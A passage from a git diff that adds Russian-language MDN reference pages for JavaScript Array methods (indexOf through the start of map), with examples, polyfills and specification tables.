+    //    объекта O с аргументом "length".
+    // 3. Положим len равным ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. Если len равен 0, вернём -1.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5. Если был передан аргумент fromIndex, положим n равным
+    //    ToInteger(fromIndex); иначе положим n равным 0.
+    var n = +fromIndex || 0;
+
+    if (Math.abs(n) === Infinity) {
+      n = 0;
+    }
+
+    // 6. Если n &gt;= len, вернём -1.
+    if (n &gt;= len) {
+      return -1;
+    }
+
+    // 7. Если n &gt;= 0, положим k равным n.
+    // 8. Иначе, n&lt;0, положим k равным len - abs(n).
+    //    Если k меньше нуля 0, положим k равным 0.
+    k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. Пока k &lt; len, будем повторять
+    while (k &lt; len) {
+      // a. Положим Pk равным ToString(k).
+      //   Это неявное преобразование для левостороннего операнда в операторе in
+      // b. Положим kPresent равным результату вызова внутреннего метода
+      //    HasProperty объекта O с аргументом Pk.
+      //   Этот шаг может быть объединён с шагом c
+      // c. Если kPresent равен true, выполним
+      //    i.  Положим elementK равным результату вызова внутреннего метода Get
+      //        объекта O с аргументом ToString(k).
+      //   ii.  Положим same равным результату применения
+      //        Алгоритма строгого сравнения на равенство между
+      //        searchElement и elementK.
+      //  iii.  Если same равен true, вернём k.
+      if (k in O &amp;&amp; O[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/isarray/index.html b/files/ru/web/javascript/reference/global_objects/array/isarray/index.html
new file mode 100644
index 0000000000..a9599389e8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/isarray/index.html
@@ -0,0 +1,120 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Reference/Global_Objects/Array/isArray
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>Array.isArray()</strong></code> возвращает <code>true</code>, если объект является массивом и <code>false</code>, если он массивом не является.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект для проверки.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>true</code> если объект является {{jsxref("Array")}}; иначе, <code>false</code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>За подробностям обращайтесь к статье <a href="http://web.mit.edu/jwalden/www/isArray.html">«Абсолютно точное определение того, является ли JavaScript-объект массивом или нет»</a>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">// Все следующие вызовы вернут true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+// Малоизвестный факт: Array.prototype сам является массивом:
+Array.isArray(Array.prototype);
+
+// Все следующие вызовы вернут false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray("Array");
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });
+</pre>
+
+<h3 id="instanceof_vs_isArray"><code>instanceof</code> vs <code>isArray</code></h3>
+
+<p>Когда проверяем экземпляр <code>Array</code>, <code>Array.isArray</code> предпочтительней, чем <code>instanceof</code>, потому что он работает и с <code>iframes</code>.</p>
+
+<pre class="brush: js">var iframe = document.createElement('iframe');
+document.body.appendChild(iframe);
+xArray = window.frames[window.frames.length-1].Array;
+var arr = new xArray(1,2,3); // [1,2,3]
+
+// Correctly checking for Array
+Array.isArray(arr);  // true
+// Considered harmful, because doesn't work through iframes
+arr instanceof Array; // false
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Выполнение следующего кода перед любым другим кодом создаст метод <code>Array.isArray()</code>, если он ещё не реализован в браузере.</p>
+
+<pre class="brush: js">if (!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.isArray")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/join/index.html b/files/ru/web/javascript/reference/global_objects/array/join/index.html
new file mode 100644
index 0000000000..28ae457276
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/join/index.html
@@ -0,0 +1,110 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Reference/Global_Objects/Array/join
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Массив
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>join()</strong></code> объединяет все элементы массива (или <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массивоподобного объекта</a>) в строку.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-join.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.join(<var>[separator]</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>separator </code> <span class="diff_add">{{optional_inline}}</span></dt>
+ <dd>Определяет строку, разделяющую элементы массива. В случае необходимости тип разделителя приводится к типу Строка. Если он не задан, элементы массива разделяются запятой '<strong>,</strong>'. Если разделитель - пустая строка, элементы массива ничем не разделяются в возвращаемой строке.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка, содержащая все элементы массива. Если <em><code>arr.length</code></em> == <code>0</code>,  то будет возвращена пустая строка.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Преобразует все элементы массива в строки и объединяет их в одну большую строку. Элемент массива с типом <code>undefined</code> или <code>null </code>преобразуется в пустую строку.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Joining_an_array_three_different_ways" name="Example:_Joining_an_array_three_different_ways">Соединение массива четырьмя различными способами</h3>
+
+<p>В следующем примере создаётся массив <code>a</code> с тремя элементами, затем они четыре раза объединяются в строку: с использованием разделителя по умолчанию, запятой с пробелом, плюса, окружённого пробелами, и пустой строки.</p>
+
+<pre class="brush: js">var a = ['Ветер', 'Дождь', 'Огонь'];
+var myVar1 = a.join();      // присвоит 'Ветер,Дождь,Огонь' переменной myVar1
+var myVar2 = a.join(', ');  // присвоит 'Ветер, Дождь, Огонь' переменной myVar2
+var myVar3 = a.join(' + '); // присвоит 'Ветер + Дождь + Огонь' переменной myVar3
+var myVar4 = a.join('');    // присвоит 'ВетерДождьОгонь' переменной myVar4
+</pre>
+
+<h3 id="Соединение_элементов_массивоподобного_объекта">Соединение элементов массивоподобного объекта</h3>
+
+<p>В следующем примере соединяется массивоподобный объект (в данном случае список <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">аргументов</a> функции) с использованием вызова {{jsxref("Function.prototype.call")}} <code>для Array.prototype.join</code>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">f</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">,</span> c<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> s <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>join<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>s<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// '1,a,true'</span>
+<span class="punctuation token">}</span>
+<span class="function token">f</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'a'</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.join")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/keys/index.html b/files/ru/web/javascript/reference/global_objects/array/keys/index.html
new file mode 100644
index 0000000000..94cc84dd43
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/keys/index.html
@@ -0,0 +1,90 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Array/keys
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+
+
+<p>Метод <code><strong>keys()</strong></code> возвращает новый <strong>итератор массива</strong> <code><strong>Array Iterator</strong></code>, содержащий ключи каждого индекса в массиве.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-keys.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.keys()</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_basic_usages" name="Example:_basic_usages">Пример: базовое использование</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+var iterator = arr.keys();
+
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="Example:_keys_iterator_doesnt_ignore_holes" name="Example:_keys_iterator_doesnt_ignore_holes">Пример: итератор, возвращаемый методом <code>keys()</code>, не пропускает дырки в массиве</h3>
+
+<pre class="brush: js">var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // [0, 2]
+console.log(denseKeys);  // [0, 1, 2]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.keys")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
new file mode 100644
index 0000000000..d5125cd9e9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -0,0 +1,167 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>lastIndexOf()</strong></code> возвращает последний индекс, по которому данный элемент может быть найден в массиве или -1, если такого индекса нет. Массив просматривается от конца к началу, начиная с индекса <code>fromIndex</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</div>
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.lastIndexOf(<var>searchElement</var>[, <var>fromIndex</var> = arr.length])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Искомый элемент в массиве.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Необязательный параметр. Индекс, с которого начинать поиск в обратном направлении. Если индекс больше или равен длине массива, просматривается весь массив. Если индекс является отрицательным числом, он трактуется как смещение с конца массива. Обратите внимание: если индекс отрицателен, массив всё равно просматривается от конца к началу. Если рассчитанный индекс оказывается меньше 0, массив даже не просматривается. Значение по умолчанию равно длине массива, что означает, что просматривается весь массив.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>lastIndexOf()</code> сравнивает искомый элемент <code>searchElement</code> с элементами в массиве, используя <a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">строгое сравнение</a> (тот же метод используется оператором <code>===</code>, тройное равно).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_lastIndexOf" name="Example:_Using_lastIndexOf">Пример: использование <code>lastIndexOf()</code></h3>
+
+<p>В следующем примере метод <code>lastIndexOf()</code> используется для поиска значений в массиве.</p>
+
+<pre class="brush: js">var array = [2, 5, 9, 2];
+array.lastIndexOf(2);     // 3
+array.lastIndexOf(7);     // -1
+array.lastIndexOf(2, 3);  // 3
+array.lastIndexOf(2, 2);  // 0
+array.lastIndexOf(2, -2); // 0
+array.lastIndexOf(2, -1); // 3
+</pre>
+
+<h3 id="Example:_Finding_all_the_occurrences_of_an_element" name="Example:_Finding_all_the_occurrences_of_an_element">Пример: нахождение всех вхождений элемента</h3>
+
+<p>В следующем примере метод <code>lastIndexOf()</code> используется для поиска всех индексов элемента в указанном массиве, которые с помощью метода {{jsxref("Array.prototype.push()", "push()")}} добавляются в другой массив.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.lastIndexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+</pre>
+
+<p>Обратите внимание, что мы обрабатываем случай <code>idx == 0</code> отдельно, поскольку элемент всегда будет найден, независимо от параметра <code>fromIndex</code>, если он является первым элементом в массиве. Этим он отличается от метода {{jsxref("Array.prototype.indexOf()", "indexOf()")}}.</p>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>lastIndexOf()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>lastIndexOf()</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/TypeError", "TypeError")}}, {{jsxref("Global_Objects/Number", "Number")}}, {{jsxref("Math.floor()")}}, {{jsxref("Math.abs()")}} и {{jsxref("Math.min()")}} имеют свои первоначальные значения.</p>
+
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.15
+// Ссылка (en): http://es5.github.io/#x15.4.4.15
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.15
+if (!Array.prototype.lastIndexOf) {
+  Array.prototype.lastIndexOf = function(searchElement/*, fromIndex*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var n, k,
+        t = Object(this),
+        len = t.length &gt;&gt;&gt; 0;
+    if (len === 0) {
+      return -1;
+    }
+
+    n = len - 1;
+    if (arguments.length &gt; 1) {
+      n = Number(arguments[1]);
+      if (n != n) {
+        n = 0;
+      }
+      else if (n != 0 &amp;&amp; n != (1 / 0) &amp;&amp; n != -(1 / 0)) {
+        n = (n &gt; 0 || -1) * Math.floor(Math.abs(n));
+      }
+    }
+
+    for (k = n &gt;= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k &gt;= 0; k--) {
+      if (k in t &amp;&amp; t[k] === searchElement) {
+        return k;
+      }
+    }
+    return -1;
+  };
+}
+</pre>
+
+<p>И снова обратите внимание, что данная реализация нацелена на абсолютную совместимость с методом <code>lastIndexOf()</code>, реализованным в Firefox и движке JavaScript SpiderMonkey, включая несколько случаев, которые являются спорными крайними случаями. Если вы используете этот код в реальных приложениях, вы можете вычислять параметр <code>from</code> менее сложным образом, игнорируя эти случаи.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
+</div>
+
+<h2 id="Замечания_по_совместимости">Замечания по совместимости</h2>
+
+<ul>
+ <li>Начиная с Firefox 47 {{geckoRelease (47)}}, метод больше не будет возвращать <code>-0</code>. Например, <code>[0].lastIndexOf(0, -0)</code> теперь всегда будет возвращать <code>+0</code> ({{bug (1242043)}}).</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/length/index.html b/files/ru/web/javascript/reference/global_objects/array/length/index.html
new file mode 100644
index 0000000000..402e1005a4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/length/index.html
@@ -0,0 +1,146 @@
+---
+title: Array.length
+slug: Web/JavaScript/Reference/Global_Objects/Array/length
+tags:
+  - Array
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Cвойство <strong><code>length</code></strong> объекта, который является экземпляром типа <code>Array</code> , устанавливает или возвращает число элементов этого массива. Значение данного свойства 32-битное безнаковое целое число, которое всегда численно больше чем самый наибольший индекс в массиве.</p>
+
+<pre class="brush: js">var items = ['shoes', 'shirts', 'socks', 'sweaters'];
+items.length;
+
+// возвращает 4</pre>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.length</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Свойство <code>length</code> является целым числом с положительным знаком и значением, меньшим чем 2 в степени 32 (2<sup>32</sup>).</p>
+
+<pre class="brush: js">var namelistA = new Array(4294967296); //2 в 32 степени<sup> = </sup>4294967296
+var namelistC = new Array(-100) //отрицательная величина
+
+console.log(namelistA.length); //RangeError: Invalid array length
+console.log(namelistC.length); //RangeError: Invalid array length
+
+
+
+var namelistB = [];
+namelistB.length = Math.pow(2,32)-1; //устанавливает длину массива меньше 2 в 32 степени
+console.log(namelistB.length);
+
+//4294967295
+</pre>
+
+<p>В любой момент вы можете установить свойство <code>length</code> для обрезки массива. Когда вы расширяете массив, изменяя его свойство <code>length</code>, реальное количество элементов в массиве увеличивается; например, если вы установите свойство <code>length</code> в 3, когда оно равно 2, массив будет из 3 элементов, где значение третьего элемента будет равно <code>undefined</code> .</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+printEntries(arr);
+
+arr.length = 5; // устанавливает длину массива 5.
+printEntries(arr);
+
+function printEntries(arr) {
+  var goNext = true;
+  var entries = arr.entries();
+  while (goNext) {
+    var result = entries.next();
+    if (result.done !== true) {
+      console.log(result.value[1]);
+      goNext = true;
+    } else
+      goNext = false;
+  }
+  console.log('=== printed ===');
+}
+
+// 1
+// 2
+// 3
+// === printed ===
+// 1
+// 2
+// 3
+// undefined
+// undefined
+// === printed ===</pre>
+
+<p>Таким образом, свойство <code>length</code> ничего не говорит о количестве определённых значений в массиве. Также смотрите раздел <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array#Relationship_between_length_and_numerical_properties">Взаимосвязь свойства <code>length</code> с числовыми свойствами</a>.</p>
+
+<p>{{js_property_attributes(1, 0, 0)}}</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Iterating_over_an_array" name="Example:_Iterating_over_an_array">Пример: итерирование по массиву</h3>
+
+<p>В следующем примере массив <code>numbers</code> итерируется до значения свойства <code>length</code>, показывающего, сколько элементов содержит массив. Значение каждого элемента удваивается.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4, 5];
+
+for (var i = 0; i &lt; numbers.length; i++) {
+  numbers[i] *= 2;
+}
+// Массив numbers теперь равен [2, 4, 6, 8, 10];
+</pre>
+
+<h3 id="Example:_Shortening_an_array" name="Example:_Shortening_an_array">Пример: сокращение массива</h3>
+
+<p>Следующий пример сокращает массив <code>statesUS</code> до длины в 50 элементов, если текущая длина массива больше 50.</p>
+
+<pre class="brush: js">if (statesUS.length &gt; 50) {
+  statesUS.length = 50;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ESDraft')}}    </td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.length")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html
new file mode 100644
index 0000000000..95e63de892
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html
@@ -0,0 +1,284 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Reference/Global_Objects/Array/map
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.6
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>map()</strong></code> создаёт новый массив с результатом вызова указанной функции для каждого элемента массива.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) {
+    // Возвращает элемент для new_array
+}[, <var>thisArg</var>])</pre>
+
